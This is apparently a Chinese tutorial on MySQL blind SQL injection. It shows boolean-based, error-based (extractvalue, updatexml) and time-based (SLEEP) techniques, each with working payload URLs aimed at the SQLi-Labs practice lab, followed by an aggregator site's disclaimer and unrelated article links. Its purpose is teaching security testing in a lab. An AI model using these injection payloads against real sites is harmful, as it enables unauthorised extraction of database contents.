Web攻防:SQL注入 - MySQL 盲注

SQL注入 - MySQL 盲注

    • 1. 基于布尔 SQL 盲注
      • 1.1 LEFT() 函数
        • 1.1.1 介绍:
        • 1.1.2 注入语法:
        • 1.1.3 案例 (SQLi-Labs:Less-8)
      • 1.2 ASCII() 函数 + SUBSTR() 函数
        • 1.2.1 介绍:
        • 1.2.2 注入语法:
        • 1.2.3 案例 (SQLi-Labs:Less-8)
      • 1.3 ORD() 函数 + MID() 函数
        • 1.3.1 介绍:
        • 1.3.2 注入语法:
        • 1.3.3 案例 (SQLi-Labs:Less-8)
      • 1.4 REGEXP 正则表达式
        • 1.4.1 介绍:
        • 1.4.2 注入语法:
        • 1.4.3 案例 (SQLi-Labs:Less-8)
      • 1.5 LIKE 操作符
        • 1.4.1 介绍:
        • 1.4.2 注入语法:
        • 1.4.3 案例 (SQLi-Labs:Less-8)
    • 2. 基于报错 SQL 盲注
      • 2.1 extractvalue报错注入
        • 注入语句:
        • 案例 (SQLi-Labs:Less-5)
      • 2.2 updatexml报错注入
        • 注入语句:
        • 案例 (SQLi-Labs:Less-5)
    • 3. 基于时间 SQL 盲注
      • 3.1 IF() + ASCII() + SUBSTR() + SLEEP()
        • 注入语句:
        • 案例 (SQLi-Labs:Less-9)

1. 基于布尔 SQL 盲注

  • 用于报错无错误回显,但与正常返回的数据长度不一致。

1.1 LEFT() 函数

1.1.1 介绍:
  • LEFT()函数是用于从字符串的左边截取指定长度字符的函数。

    LEFT(str, length)
    

    参数:str 示要截取的字符串。
    参数:length 表示要截取的长度。

1.1.2 注入语法:
AND LEFT(DATABASE(),1) = 's'	# DATABASE() -> 当前数据库名称

译:截取当前数据库第一个字符,判断是否等于s

1.1.3 案例 (SQLi-Labs:Less-8)
  • 正常访问回显:
    在这里插入图片描述

  • 异常访问回显:

    在这里插入图片描述

  • 构造Payload:

    http://www.sqlilabs.kay.com/Less-8/?id=1' AND LEFT(DATABASE(),1) = 's' --+
    
    • 语句为True返回正常回显,语句为False返回异常回显

    译:LEFT(DATABASE(),1) = ‘s’,判断当前数据库名称第一个字符是否为s,是则为True,否则为False。

在这里插入图片描述

1.2 ASCII() 函数 + SUBSTR() 函数

1.2.1 介绍:
  • ASCII() 函数返回特定字符的 ASCII 值。

    ASCII(character)	
    

    参数:character 必需。要为其返回 ASCII 值的字符。 如果输入多个字符,则只返回第一个字符的值

  • SUBSTR() 函数从字符串中提取子字符串(从任意位置开始)。

    注释: SUBSTR() 和 MID() 函数等于 SUBSTRING( )函数。

    SUBSTR(string, start, length)
    OR:
    SUBSTR(string FROM start FOR length)
    

    参数:string 必需。要从中提取的字符串
    参数:start 必需。起始位置。 可以是正数或负数。 如果是正数,则此函数从字符串的开头提取。 如果是负数,此函数从字符串的末尾提取
    参数:length 可选。要提取的字符数。 如果省略,将返回整个字符串(从 start 位置开始)

1.2.2 注入语法:
AND ASCII(SUBSTR((SELECT DATABASE()),1,1)) = 115

译:截取当前数据库第一个字符然后转换成ASCII码判断是否等于115

1.2.3 案例 (SQLi-Labs:Less-8)
  • 正常访问回显:

    在这里插入图片描述

  • 异常访问回显:

    在这里插入图片描述

  • 构造Payload:

    http://www.sqlilabs.kay.com/Less-8/?id=1' AND ASCII(SUBSTR((SELECT DATABASE()),1,1)) = 115 --+
    
    • 语句为True返回正常回显,语句为False返回异常回显

    译:ASCII(SUBSTR((SELECT DATABASE()),1,1)) = 115,判断当前数据库名称第一个字符的ASCII码是否为115,是则为True,否则为False。

在这里插入图片描述

1.3 ORD() 函数 + MID() 函数

1.3.1 介绍:
  • ORD() 函数返回特定字符的 ASCII 值。

    ORD(character)	
    

    参数:character 必需。要为其返回 ASCII 值的字符。 如果输入多个字符,则只返回第一个字符的值

  • MID() 函数从字符串中提取子字符串(从任意位置开始)。

注释: MID() 和 SUBSTR() 函数等于 SUBSTRING( )函数。

MID(string, start, length)
OR:
MID(string FROM start FOR length)

参数:string 必需。要从中提取的字符串
参数:start 必需。起始位置。 可以是正数或负数。 如果是正数,则此函数从字符串的开头提取。 如果是负数,此函数从字符串的末尾提取
参数:length 可选。要提取的字符数。 如果省略,将返回整个字符串(从 start 位置开始)

1.3.2 注入语法:
AND ORD(MID((SELECT DATABASE()),1,1)) = 115

译:截取当前数据库第一个字符然后转换成ASCII码判断是否等于115

1.3.3 案例 (SQLi-Labs:Less-8)
  • 正常访问回显:

    在这里插入图片描述

  • 异常访问回显:

    在这里插入图片描述

  • 构造Payload:

    http://www.sqlilabs.kay.com/Less-8/?id=1' AND ORD(MID((SELECT DATABASE()),1,1)) = 115 --+
    
    • 语句为True返回正常回显,语句为False返回异常回显

    译:ORD(MID((SELECT DATABASE()),1,1)) = 115,判断当前数据库名称第一个字符的ASCII码是否为115,是则为True,否则为False。

在这里插入图片描述

1.4 REGEXP 正则表达式

1.4.1 介绍:
  • REGEXP函数是MySQL中用于进行正则表达式匹配的函数。

    expr REGEXP pattern
    

    其中,expr为要匹配的表达式,pattern为正则表达式模式。如果expr符合pattern指定的模式,则返回1;否则返回0。需要注意的是,REGEXP函数是区分大小写的。

  • 基本的正则表达式模式

    在MySQL中,可以使用一些基本的正则表达式模式来定义匹配的规则。以下是一些常见的正则表达式模式:

    • .:代表任意单个字符。
    • *:代表前一个字符可以出现0次或多次。
    • +:代表前一个字符可以出现1次或多次。
    • ^:代表匹配字符串的开始位置。
    • $:代表匹配字符串的结束位置。
1.4.2 注入语法:
AND (SELECT DATABASE() REGEXP '^[a-z]')

译:判断当前数据库名称开头是否是a-z范围内

1.4.3 案例 (SQLi-Labs:Less-8)
  • 正常访问回显:

    在这里插入图片描述

  • 异常访问回显:

    在这里插入图片描述

  • 构造Payload:

    http://www.sqlilabs.kay.com/Less-8/?id=1' AND (SELECT DATABASE() REGEXP '^[a-z]') --+
    
    • 语句为True返回正常回显,语句为False返回异常回显

    译:(SELECT DATABASE() REGEXP ‘^[a-z]’),判断当前数据库名称第一个字符是否为a-z范围内,是则为True,否则为False。

在这里插入图片描述

  • 我们后续只需要更换 REGEXP 表达式即可。

    ‘^[a-z]’ -> ‘^s[a-z]’ -> ‘^se[a-z]’ -> ‘^sec[a-z]’ -> ‘^secu[a-z]’ -> ‘^secur[a-z]’ -> ‘^securi[a-z]’ -> ‘^securit[a-z]’ -> ‘^security[a-z]’ -> FALSE

1.5 LIKE 操作符

1.4.1 介绍:
  • LIKE 运算符在 WHERE 子句中用于搜索列中的指定模式。

    LIKE pattern
    

    pattern 是用于匹配的模式,可以包含通配符。

    • 百分号 (%) 表示零个、一个或多个字符
    • 下划线符号 (_) 代表一个,单个字符
1.4.2 注入语法:
AND (SELECT DATABASE() LIKE 's%')

译:判断当前数据库名称开头是否为s范围内

1.4.3 案例 (SQLi-Labs:Less-8)
  • 正常访问回显:

    在这里插入图片描述

  • 异常访问回显:

    在这里插入图片描述

  • 构造Payload:

    http://www.sqlilabs.kay.com/Less-8/?id=1' AND (SELECT DATABASE() LIKE 's%') --+
    
    • 语句为True返回正常回显,语句为False返回异常回显

    译:(SELECT DATABASE() LIKE ‘s%’),判断当前数据库名称第一个字符是否为s范围内,是则为True,否则为False。

在这里插入图片描述

2. 基于报错 SQL 盲注

  • 用于报错有错误回显。

2.1 extractvalue报错注入

注入语句:
AND (extractvalue(1,CONCAT(0x7e,(SELECT DATABASE()),0x7e)))
案例 (SQLi-Labs:Less-5)
http://www.sqlilabs.kay.com/Less-5/?id=1'  AND (extractvalue(1,CONCAT(0x7e,(SELECT DATABASE()),0x7e))) --+

在这里插入图片描述

2.2 updatexml报错注入

注入语句:
AND (updatexml(1,CONCAT(0x7e,(SELECT DATABASE()),0x7e),1))
案例 (SQLi-Labs:Less-5)
http://www.sqlilabs.kay.com/Less-5/?id=1' AND (updatexml(1,CONCAT(0x7e,(SELECT DATABASE()),0x7e),1)) --+

在这里插入图片描述

3. 基于时间 SQL 盲注

  • 用于报错无错误回显,与正常返回的数据长度一致。

3.1 IF() + ASCII() + SUBSTR() + SLEEP()

注入语句:
AND IF(ASCII(SUBSTR((SELECT DATABASE()),1,1)) = 115,SLEEP(5),0)

译:当 IF 语句为True时,页面返回延时5

案例 (SQLi-Labs:Less-9)
http://www.sqlilabs.kay.com/Less-9/?id=1' AND IF(ASCII(SUBSTR((SELECT DATABASE()),1,1)) = 115,SLEEP(5),0)--+

在这里插入图片描述

  • 其他判断语句:
    • IF(LENGTH(DATABASE())=8,SLEEP(5),0) 判断数据名称长度是否为8个字符
    • IF((SELECT DATABASE() LIKE 's%'),SLEEP(5),0) 判断数据库名第一个字符是否为s

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/pingmian/30035.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

Java——可变参数

一、可变参数 1、介绍 Java的可变参数(Varargs)是一种语法特性,允许一个方法接受不定数量的参数。可变参数的使用通过在参数类型后面添加省略号(...)实现。这使得方法在调用时可以传入不同数量的参数,而不…

Android device/xxx/system/common/overlay编译产物

MTK 如下代码编译的产物在 framework-res.apk 编译配置文件在device/mediatek/system/common/目录下的Android.bp device/mediatek/system/common/overlay/telephony/frameworks/base/core/res/res/values-mcc655-mnc01/config.xml 在Android U上面还在overlay目录中进行了产…

python是TIOBE编程语言排名第一的编程语言,它有什么优点?它的使用场景有哪些?用python打印数字1--100,用python打印九九乘法表怎么写?

Python是TIOBE编程语言排行榜排名第一的编程语言 。 python是一种解释性、交互式、面向对象的跨平台的语言。 python设计者及名称由来 Guido van Rossum 荷兰人---吉多范罗苏姆,是 Python 编程语言的最初设计者,在 Python 社区一直担当终身仁慈独裁者&…

教你如何安装 IntelliJ IDEA

安装 IntelliJ IDEA 的步骤通常如下,这里提供的是基于 Windows 系统的安装指南。 下载 IntelliJ IDEA 1. 访问 JetBrains 官方网站:[https://www.jetbrains.com/idea/download/](Download IntelliJ IDEA – The Leading Java and Kotlin IDE) 2. 选择适…

vue+echarts实现tooltip轮播

效果图如下: 实现步骤如下: 定义一个定时器 timer:null, len: 0,页面一加载就清空定时器,此操作是为了防止重复加载时会设置多个定时器在setOption后设置定时器 this.myChart.clear() this.myChart.setOption(option); this.autoShowTool…

java 面试题--基础

文章目录 基础java SE 、 EE 、 ME 的区别jdk 和 jre 区别?java 的日志级别基本数据类型 特性关键字finalabstractsuperswitchfortry catch 接口和抽象类的区别接口抽象类适用场景 类的加载循序静态代码块 传参问题访问修饰符运算符 反射java 里的应用为什么反射的性…

禹晶、肖创柏、廖庆敏《数字图像处理(面向新工科的电工电子信息基础课程系列教材)》Chapter 10插图

禹晶、肖创柏、廖庆敏《数字图像处理(面向新工科的电工电子信息基础课程系列教材)》 Chapter 10插图

YOLOv8旋转目标检测Yolov8n-obb详细实例+rolabelimg

一、Yolov8环境搭建 首先创建虚拟环境下载安装(其实就是yolov8的环境)再大概写一下步骤,没有想详细的看本人另外一篇:YOLOv8环境搭建_yolov8环境配置-CSDN博客 1、下载安装anaconda 2、创建虚拟环境 conda create -n my_yolov8…

【Gradio】Chatbot | 如何使用 Gradio Blocks 创建自定义聊天机器人

简介 重要提示:如果您刚开始接触,我们建议使用 gr.ChatInterface 来创建聊天机器人——它是一个高级抽象,使得可以快速创建漂亮的聊天机器人应用程序,往往只需一行代码。在这里了解更多信息。 本教程将展示如何使用 Gradio 的低级…

vue3中实现3D地图——three.js

需求点 地图区域大小随着父盒子大小变动,窗口缩放自动适配每个区域显示不同颜色和高度,描边每个区域显示名字label和icon点击区域改变其透明度,并且弹窗显示信息窗口点击点也可以可以自由放大缩小,360度旋转 包 npm install d3^…

背景渐变动画登录页

b站视频演示效果: 效果图: 完整代码: <!DOCTYPE html> <html lang="en"> <head><meta charset="UTF-8"><meta name="viewport" content="width=device-width, initial-scale=1.0"><title>背景…

大模型商业化:李开复向左,张亚勤向右

文&#xff5c;白 鸽 “零一万物坚决做To C&#xff0c;不做赔钱的To B&#xff0c;要做能赚钱的To B。”2024年6月14日&#xff0c;在智源大会上&#xff0c;零一万物创始人李开复如此坚定地说道。 而与之相对&#xff0c;中国工程院院士、清华大学智能产业研究院&…

2024/06/18--代码随想录算法8/17| 股票问题

121.买卖股票的最佳时机 力扣链接 动规五部曲 确定dp数组&#xff08;dp table&#xff09;以及下标的含义 dp[i][0] 表示第i天持有股票所得最多现金,dp[i][1] 表示第i天不持有股票所得最多现金确定递推公式 dp[i][0] max(dp[i-1][0], -price[i]) dp[i][1]max(dp[i-1][1], …

QTimeEdit、QDateEdit、QDateTimeEdit、QCalendarWidget

实验 QTime和字符串相互转换 QDate和字符串相互转换 QDateTime和字符串相互转换 QCalendarWidget使用 year&#xff0c;month&#xff0c;day&#xff0c;minute&#xff0c;second&#xff0c;msec&#xff0c;dayOfWeek, dayto方法/属性的使用 布局 datetimeexample.cpp #inc…

智慧之选:Vatee万腾平台,引领未来的创新引擎

在数字化浪潮席卷全球的今天&#xff0c;我们身处一个信息爆炸、技术革新的时代。在这样的大背景下&#xff0c;选择一个能够引领我们走向未来的平台显得尤为重要。而Vatee万腾平台&#xff0c;正是这样一个不容错过的智慧之选。 Vatee万腾平台&#xff0c;作为一个集创新、科技…

PostgreSQL源码分析——口令认证

认证机制 对于数据库系统来说&#xff0c;其作为服务端&#xff0c;接受来自客户端的请求。对此&#xff0c;必须有对客户端的认证机制&#xff0c;只有通过身份认证的客户端才可以访问数据库资源&#xff0c;防止非法用户连接数据库。PostgreSQL支持认证方法有很多&#xff1…

Stable Diffusion 3 Medium 正式开源

Stable Diffusion 3 Medium 正式开源 Stability AI宣布Stable Diffusion 3 Medium现已开源&#xff0c;这是最新的文本生成图像AI模型&#xff0c;被官方声称为“迄今为止最先进的开源模型”&#xff0c;其性能超过了Midjourney 6。 这款Stable Diffusion 3 Medium模型拥有2…

【SpringBoot项目常见细化错误】(保姆级教程)Result Maps collection already contains value for

SpringBoot项目常见错误 1.当Mybatis报错 Result Maps collection already contains value for一、重复点击Mybatis-Generator导致配置文件重复生成XML二、正确配置Yml仔细检查有没有多了或者少了一个空格三、spring boot mybatis四、应该用resultMap来接收返回值&#xff0c;…

Blazor的SSR服务端渲染是不是交互式的

从.NET8开始&#xff0c;Blazor引入了SSR服务端渲染&#xff0c;归功于MVC和RazePage的沉淀&#xff0c;虽然来得晚&#xff0c;但一经发布&#xff0c;就将Blazor推向了新的高度。从今年开始&#xff0c;Youtube上关于Blazor的优质教学视频&#xff0c;以肉眼可见的速度在增加…

[保姆级教程]uniapp实现接口请求和请求方法二次封装

文章目录 新建文件配置方法发送请求使用 新建文件 现在src中新建一个api目录 新建index.js和request.js文件 配置方法发送请求 request.js中输入以下内容 const http {baseUrl: http://127.0.0.1:8000,request(config) {config beforeRequest(config)config.url this…